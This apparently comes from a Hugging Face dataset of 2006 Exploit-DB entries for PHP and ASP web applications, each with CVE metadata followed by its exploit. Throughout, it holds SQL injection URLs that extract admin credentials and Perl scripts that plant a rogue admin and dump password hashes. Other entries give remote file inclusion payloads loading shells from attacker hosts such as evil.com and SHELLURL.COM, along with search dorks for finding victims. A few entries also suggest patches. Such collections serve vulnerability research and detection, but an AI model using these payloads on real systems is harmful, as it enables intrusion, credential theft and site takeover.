QLWD/code_shield huggingface dataset:
标题: Zix Forum 1.12 - 'RepId' SQL Injection (1) EDB-ID: 2306 CVE: 2006-4612 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-05 漏洞利用脚本: ################################################################################
##                                                                            ##
##  ©ZIXForum 1.12 <= "RepId" Remote SQL Injection                            ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Credit by        |  Chironex Fleckeri                                     ##
##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

##########################################################################################################################################################
#Username : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_user,null,null,null,null,null,null,null,null FROM adminlogins #
##########################################################################################################################################################

##########################################################################################################################################################
#Password : http://www.target.com/path/ReplyNew.asp?RepId=-1 UNION SELECT null,null,null,J_pass,null,null,null,null,null,null,null,null FROM adminlogins #
##########################################################################################################################################################

################################################################
#Admin Panel : http://www.target.com/path/theadmin/default.asp #
################################################################

# milw0rm.com [2006-09-05] URL: https://www.exploit-db.com/exploits/2306
标题: TR Forum 2.0 - SQL Injection / Bypass Security Restriction EDB-ID: 2297 CVE: 2006-4586 2006-4584 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-04 漏洞利用脚本: #!/usr/bin/perl
#
# Affected.scr..: Tr Forum V2.0
# Poc.ID........: 10060903
# Type..........: SQL Injection, Bypass Security Restriction
# Risk.level....: Medium
# Vendor.Status.: Unpatched
# Src.download..: comscripts.com/scripts/php.tr-forum.1579.html
# Poc.link......: acid-root.new.fr/poc/10060903.txt
# Credits.......: DarkFig
#
# /membres/modif_profil.php => Profil modification (you can choose the id of the member)
# /membres/change_mdp.php   => Password modification ( same... )
# /admin/insert_admin.php   => Second admin (only del post)
# /admin/editer.php         => SQL Injection without quote
#
# You don't need to crack passwd hashes (for the admin panel)...
# Go to the admin panel (/admin/), enter the username and the hash (not the passwd)... bad security =(
# This exploit is FOR EDUCATIONAL PURPOSE ONLY x 999
#
use LWP::UserAgent;
use HTTP::Cookies;
use HTTP::Request::Common "POST";
use HTTP::Response;
use Getopt::Long;
use strict;

print STDOUT "\n+", '-' x 53, "+\n";
print STDOUT "|    Tr Forum V2.0 Admin MD5 Passwd Hash Disclosure   |\n";
print STDOUT '+', '-' x 53, "+\n";

my($host,$path,$proxh,$proxu,$proxp);
my $opt = GetOptions(
   'host=s'   =>  \$host,
   'path=s'   =>  \$path,
   'proxh=s'  =>  \$proxh,
   'proxu=s'  =>  \$proxu,
   'proxp=s'  =>  \$proxp);

if(!$host) {
    print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] [Options]    |\n";
    print STDOUT "| [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd] |\n";
    print STDOUT '+', '-' x 53, "+\n";
    exit(0);
}

if($host  !~ /http/) {$host = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}
if(!$path) {$path = '/';}

print STDOUT " [!]Host..: $host\n";
print STDOUT " [!]Path..: $path\n";
print STDOUT " [~]Admin user...\n";
sleep(1);

my $cc = HTTP::Cookies->new();
my $ua = LWP::UserAgent->new();
   $ua->cookie_jar($cc);
   $ua->agent('0xzilla');
   $ua->timeout(30);
   $ua->proxy(['http'] => $proxh) if $proxh;

my $re = POST $host.$path.'/admin/insert_admin.php',[
         'login'    => 'AcidSploitWasHere',
         'password' => 'psychopasswd',
         'mail'     => 'nospam@bot.com',
         ];
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;
   $ua->request($re);

print STDOUT " [+]User..: AcidSploitWasHere\n";
print STDOUT " [+]Pass..: psychopasswd\n";
print STDOUT " [!]Rights: 2 (medium)\n";
print STDOUT " [~]Collecting admin's hash/username...\n";
sleep(1);

my $re = POST $host.$path.'index.php',[
         'login'   => 'AcidSploitWasHere',
         'pwd'     => 'psychopasswd',
        ];
   $ua->request($re);

my $re = $ua->get($host.$path.'admin/editer.php?id2=-1 UNION SELECT pass,pseudo,0 FROM tr_user_forum');

if($re->content =~ /">([a-z0-9]{32})<\/font>/) {
                print STDOUT "\n ".$1.'::';}

if($re->content =~ /;">(.*?)<\/textarea>/) {
                print STDOUT $1.' (root)';}

print STDOUT "\n+", '-' x 53, "+\n";
exit(0);

# milw0rm.com [2006-09-04] URL: https://www.exploit-db.com/exploits/2297
标题: MySpeach 3.0.2 - 'my_ms[root]' Remote File Inclusion EDB-ID: 2301 CVE: 2006-4630 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-05 漏洞利用脚本: #==============================================================================================
#MySpeach <= v3.0.2 (my_ms[root]) Remote File Inclusion Exploit
#===============================================================================================
#                                                                        
#Critical Level : Very Dangerous                                              
#                                                                        
#Venedor site : http://www.graphiks.net/telecharger/scripts/myspeach.zip        
#                                                                        
#Version : v3.0.2 & All Versions Bellow                                              
#                                                          
#================================================================================================
#
#Dork : allinurl: /myspeach/
#
#================================================================================================
#Bug in : jscript.php
#
#Vlu Code :
#--------------------------------
#     include($my_ms["root"].'/error.php');
#  
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/jscript.php?my_ms[root]=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-09-05] URL: https://www.exploit-db.com/exploits/2301
标题: FlashChat 4.5.7 - 'aedating4CMS.php' Remote File Inclusion EDB-ID: 2293 CVE: 2006-4583 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-04 漏洞利用脚本: NeXtMaN <mc.nadz [at] gmail.com>

Here are 3 RFI vulnerabilities in Flashchat i've found:

Code:
http://site.com/[script_path]/inc/cmses/aedating4CMS.php?dir[inc]=http://evil.com/shell.txt?
http://site.com/[script_path]/inc/cmses/aedatingCMS2.php?dir[inc]=http://evil.com/shell.txt?
http://site.com/[script_path]/inc/cmses/aedatingCMS.php?dir[inc]=http://evil.com/shell.txt?

video here:

Code:
http://rapidshare.de/files/31362430/Flashchat.rar.html


EDIT: Solution:


It looks like the vulnerable files are there in case you want to integrate with another script. The script that would require these files is AEDating:

you simply delete the following files and you will be secure:

/inc/cmses/aedating4CMS.php
/inc/cmses/aedatingCMS.php
/inc/cmses/aedatingCMS2.php

if your flashchat is integrated with AEDating and/or you dont want to delete the files you can just edit the 3 files to use your path like this:

Replace this:

$aed_root_path = realpath(dirname(__FILE__) . '/../../../') . '/';
include($aed_root_path . 'inc/header.inc.php');
require_once( "$dir[inc]db.inc.php" );
require_once( "$dir[inc]admin.inc.php" );

With this:

$aed_root_path = realpath(dirname(__FILE__) . '/../../../') . '/';
include($aed_root_path . 'inc/header.inc.php');
require_once( "[Your AED path]/db.inc.php" );
require_once( "[Your AED path]/admin.inc.php" );

Alternatively you could just upgrade to 4.6.2 (just released)

PS, all 3 of those files are vulnerable and will need editing.

# milw0rm.com [2006-09-04] URL: https://www.exploit-db.com/exploits/2293
标题: GrapAgenda 0.1 - 'page' Remote File Inclusion EDB-ID: 2304 CVE: 2006-4610 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-05 漏洞利用脚本: * Kurdish Security Advisory
* Original Advisory : http://kurdishsecurity.blogspot.com/2006/09/kurdish-security-25-grapagenda-remote.html
* Script : GrapAgenda
* Site : http://www.graphiks.net
* Version : 0.1
* Risk : High
* Class : Remote
* Contact : botan@linuxmail.org and irc.gigachat.net #kurdhack
* Nice crackerz sh00tz:milex,b3g0k,azad,fearless,darki,qawiste and team : ColdHackers, Patriotic Hackers, Kurdish Hackers Clan [back ? auyehuah maybe] other teamz
---------------------------------------------------------------------------------
Google w0rkez :P : "GrapAgenda"

lol now code :]




if($page!=""){
include($page);
}else{
include("accueil.php");
}
?>

huh :] nice code,

PoC

http://www.site.com/[agendapath]/index.php?page=yourcode.txt?&cmd=id

# milw0rm.com [2006-09-05] URL: https://www.exploit-db.com/exploits/2304
标题: Muratsoft Haber Portal 3.6 - 'tr' SQL Injection EDB-ID: 2294 CVE: 2006-4641 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-03 漏洞利用脚本: #Muratsoft Haber Portal v3.6 (tr) SQL Injection Vulnerability
#Author : ASIANEAGLE
#Site   : www.asianeagle.org
#Contact: admin@asianeagle.org


#Link           : http://www.aspindir.com/Goster/4350
#Demo Portal    : http://www.muratsoft.com/haber/www/
#Price of Portal: 300YTL // Good money for Bad Script

#Exploit : 
 www.site.com /[portal path]/kategori.asp?kat=-1%20union%20select%200,U_ADI,2,U_SIFRE,4,5,6,7,8,9,10,11,12,13,14%20from%20uyeler%20where%20U_ID%20like%201

#BURCU Seni hep sevdim hep sevicem.

# milw0rm.com [2006-09-03] URL: https://www.exploit-db.com/exploits/2294
标题: Yappa-ng 2.3.1 - 'admin_modules' Remote File Inclusion EDB-ID: 2292 CVE: 2005-1312 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-03 漏洞利用脚本: #==============================================================================================
#yappa-ng <= v2.3.1 (admin_modules) Remote File Inclusion Exploit
#===============================================================================================
#                                                                         
#Critical Level : Dangerous                                               
#                                                                         
#Venedor site : http://www.zirkon.at/zirkon/scripts/yappa-ng         
#                                                                         
#Version : v2.3.1 & v2.3.0                                               
#                                                           
#================================================================================================
#Bug in : admin_modules/admin_module_deldir.inc.php
#
#Vlu Code :
#--------------------------------
#     include_once($config['path_src_include'] . "common.inc.php");
#   
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=http://SHELLURL.COM?
#
#Dork : "Powered by yappa-ng 2.3.1" & "Powered by yappa-ng 2.3.1"
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-09-03] URL: https://www.exploit-db.com/exploits/2292
标题: Dyncms Release 6 - 'x_admindir' Remote File Inclusion EDB-ID: 2290 CVE: 2006-4589 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-02 漏洞利用脚本: #==============================================================================================
#Dyn CMS <= REleased (x_admindir) Remote File Inclusion Exploit
#===============================================================================================
#                                                                          
#Critical Level : Dangerous                                                
#                                                                          
#Venedor site : http://www.dyncms.com/          
#                                                                          
#Version : REleased                                                
#                                                            
#================================================================================================
#Bug in : 0_admin/modules/Wochenkarte/frontend/index.php
#
#Vlu Code :
#--------------------------------
#     include_once($x_admindir."/modules/".$xmodulname."/frontend/tools.inc.php");
#    
#
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/0_admin/modules/Wochenkarte/frontend/index.php?x_admindir=http://SHELLURL.COM?
#
#================================================================================================
#Discoverd By : SHiKaA
#
#Conatact : SHiKaA-[at]hotmail.com
#
#GreetZ : Str0ke KACPER Rgod Timq XoRon MDX Bl@Ck^B1rd AND ALL ccteam (coder-cruze-wolf) | cyper-worrior
==================================================================================================

# milw0rm.com [2006-09-02] URL: https://www.exploit-db.com/exploits/2290
标题: phpAtm 1.21 - 'include_location' Remote File Inclusion EDB-ID: 2279 CVE: 2006-4749 2006-4594 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-30 漏洞利用脚本: ########################################################################
#  phpAtm <= v1.21 (include_location) Remote File Inclusion Exploit
#   
#   Level : Dangerous        
#   Download  : http://phpatm.free.fr/
#   Version : v1.21  
#   
#                           Found By: KinSize [MHG Security Team]
#
########################################################################
# Code :   include($include_location.'include/conf.php');
#
#  exploit:
# http://www.sitename.com/[script_path]/confirm.php?include_location=http://shellurl.com ?   
# http://www.sitename.com/[script_path]/index.php?include_location=http://shellurl.com ?    
# http://www.sitename.com/[script_path]/login.php?include_location=http://shellurl.com ?
########################################################################
#
#Conatact : nefretaskimdir[at]gmail.com
#
# GreetZ : Damage-N | by_emr3  | by_OkSit  | ESKOBAR  | Ye.iL  | PowerCobra  | sys-worm(Turkish)| Z e b e r u S | ALL Turkish & MusLim
########################################################################

Added information:

At first glance this doesn't look vulnerable but then again:

line 85-94 of common.php
while (list(, $arr) = each($sysarr))
{
        if (is_array($arr))
        {
                while (list($key, $value) = each($arr))
                {
                        $GLOBALS[$key] = $value;
                }
        }
}

/str0ke

# milw0rm.com [2006-08-30] URL: https://www.exploit-db.com/exploits/2279
标题: PHPECard 2.1.4 - 'functions.php' Remote File Inclusion EDB-ID: 2275 CVE: 2006-4456 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-29 漏洞利用脚本: #==============================================================================================
# phpECard (functions.php) Remote File Inclusion Exploit
#===============================================================================================
#                                                                          
#Critical Level : Dangerous                                                
#                                                                          
#Venedor site : http://www.quick-xs.net/phpecard/
#          
#Google Search: powered by: phpecard                                                                                                                          
#                                                             
#================================================================================================
#================================================================================================
#
#Exploit :
#--------------------------------
#
#http://sitename.com/[Script Path]/functions.php?include_path=http://evil_script?
#
#
#================================================================================================
#Discoverd By : LeAk
#
#Conatact : Escape_LeAk[at]yahoo.com
#
# Turkis Hackers
==================================================================================================

# milw0rm.com [2006-08-29] URL: https://www.exploit-db.com/exploits/2275
标题: Annuaire 1Two 2.2 - SQL Injection EDB-ID: 2289 CVE: 2006-4601 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-02 漏洞利用脚本: #!/usr/bin/perl
#
# Affected.scr..: Annuaire 1Two 2.2
# Poc.ID........: 09060902.txt
# Type..........: SQL Injection (without quote)
# Risk.level....: Medium
# Vendor.Status.: Unpatched
# Src.download..: http://www.1two.org/
# Poc.link......: acid-root.new.fr/poc/09060902.txt
# Credits.......: DarkFig
#
#
use LWP::UserAgent;
use HTTP::Request;
use Getopt::Long;
use strict;


print STDOUT "\n+", '-' x 53, "+\n";
print STDOUT "|    Annuaire 1Two 2.2 Remote SQL Injection Exploit   |\n";
print STDOUT '+', '-' x 53, "+\n";

my($host,$path,$proxh,$proxu,$proxp,);
my $opt = GetOptions(
   'host=s'   =>  \$host,
   'path=s'   =>  \$path,
   'proxh=s'  =>  \$proxh,
   'proxu=s'  =>  \$proxu,
   'proxp=s'  =>  \$proxp);
   
if(!$host) {
    print STDOUT "| Usage: ./xx.pl --host=[www] --path=[/] [Options]    |\n";
    print STDOUT "| [Options] --proxh=[ip] --proxu=[user] --proxp=[pwd] |\n";
    print STDOUT '+', '-' x 53, "+\n";
    exit(0);
}

if(!$path) {$path  = '/';}
if($host  !~ /http/) {$host  = 'http://'.$host;}
if($proxh !~ /http/ && $proxh != '') {$proxh = 'http://'.$proxh.'/';}

my @fi = ('username', 'password');
my $ur = $host.$path.'index.php?id=';
my $ua = LWP::UserAgent->new();
   $ua->agent('Mozilla XD');
   $ua->timeout(30);
   $ua->proxy(['http'] => $proxh) if $proxh;

foreach(@fi) {
my $xx = $_;
my $re = HTTP::Request->new(GET =>  $ur."-1 UNION SELECT $xx FROM 1two_annuaire_admin");
   $re->proxy_authorization_basic($proxu, $proxp) if $proxp;
my $xd = $ua->request($re);
my $da = $xd->content;

if($da =~ /- (.*?)<\/title>/) {
      if($xx eq 'username') {
            print STDOUT " [+]User:";}
      if($xx eq 'password') {
            print STDOUT " [+]Passwd:";}
      print STDOUT " $1\n";
} else {
  print STDOUT "[!]Exploit failed\n";
}}
print STDOUT "+", '-' x 53, "+\n";
exit(0);

# milw0rm.com [2006-09-02] URL: https://www.exploit-db.com/exploits/2289
标题: icblogger 2.0 - 'YID' SQL Injection EDB-ID: 2287 CVE: 2006-4597 类型: WEBAPPS 平台: ASP 发布日期: 2006-09-01 漏洞利用脚本: ################################################################################
##                                                                            ##
##  Icblogger <= "YID" Remote Blind SQL Injection                             ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##  Credit by        |  Chironex Fleckeri                                     ##
##  Mail             |  ChironeX.FleckeriX@Gmail.Com                          ##
##  - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -       ##
##                                                                            ##
################################################################################

##########################################################################################################################################################################
#Usage : http://www.target.com/path/devam.asp?YID=-1 UNION SELECT null,null,null,null,null,editor_adi,null,editor_sifre,editor_mail,null FROM editor WHERE editor_id = 1 #
##########################################################################################################################################################################

#############################################################
#Admin Panel : http://www.target.com/path/admin/default.asp #
#############################################################

# milw0rm.com [2006-09-01] URL: https://www.exploit-db.com/exploits/2287
标题: YACS CMS 6.6.1 - context[path_to_root] Remote File Inclusion EDB-ID: 2282 CVE: 2006-4559 2006-4532 类型: WEBAPPS 平台: PHP 发布日期: 2006-08-31 漏洞利用脚本: ##################################### matasanos ###################################
#                    YACS CMS (last version and maybe all) File Inclusion Vulnerability
#
#   affected software: YACS (Yet Another Community System)
#   vendor: yacs . you can donwload it from http://www.yetanothercommunitysystem.com
#   level: Highly Critical (muy critico)
# 
#
#################################################################################### 
#
#
#   http://[target]/[patch]/yacs/articles/article.php?context[path_to_root]=http://url--ataca.org/shell.txt?
#
# 
#
####################################################################################
#
#                                 found by MATASANOS                               
#                               LATIN AMERICAN DEFACERS
#
#
#      recuerdos a antrax,freak,piker,vampi,pennismen,destroy,groxo,vannovax,cvir,mathew

# milw0rm.com [2006-08-31] URL: https://www.exploit-db.com/exploits/2282
标题: MyBace Light - 'login_check.php' Remote File EDB-ID: 2285 CVE: 2006-4596 类型: WEBAPPS 平台: PHP 发布日期: 2006-09-01 漏洞利用脚本: +--------------------------------------------------------------------
+
+ MyBace Light (hauptverzeichniss) Remote File Inclusion
+
+ Original advisory:
+ http://www.bb-pcsecurity.de/Websecurity/384/MyBace_Light_(hauptverzeichniss)_Remote_File_Inclusion.htm
+--------------------------------------------------------------------
+
+ Affected Software .: My Bace Light
+ Venedor ...........: http://www.onlinemacher.de/
+ Class .............: Remote File Inclusion
+ Risk ..............: high (Remote File Execution)
+ Found by ..........: Philipp Niedziela
+ Contact ...........: webmaster[at]bb-pcsecurity[.]de
+
+--------------------------------------------------------------------
+
+ Affected Files:
+  includes/login_check.php
+           var: $hauptverzeichniss
+
+  admin/login/content/user_daten.php
+           var: $template_back
+
+--------------------------------------------------------------------
+
+ $hauptverzeichniss & $template_back is not properly sanitized before being used
+
+--------------------------------------------------------------------
+
+ Solution:
+ Deny direct access to these files using a .htaccess-file
+ or modify code:
+
+ if(!isset($_REQUEST['hauptverzeichniss']) &&
!isset($_GET['hauptverzeichniss'])
+     && !isset($_POST['hauptverzeichniss'])){
+ //code of org. *.php
+ }
+ else {
+ echo "You cannot access this file directly.";
+ die();
+ }
+
+--------------------------------------------------------------------
+
+ PoC:
+
+ http://[target]/includes/login_check.php?hauptverzeichniss=[shell]
+
+--------------------------------------------------------------------
+
+ Notice: I've tried to contact venedor 3 weeks ago, but no answer yet...
+
+
+ Greets: /str0ke
+
+-------------------------[ E O F ]----------------------------------

# milw0rm.com [2006-09-01] URL: https://www.exploit-db.com/exploits/2285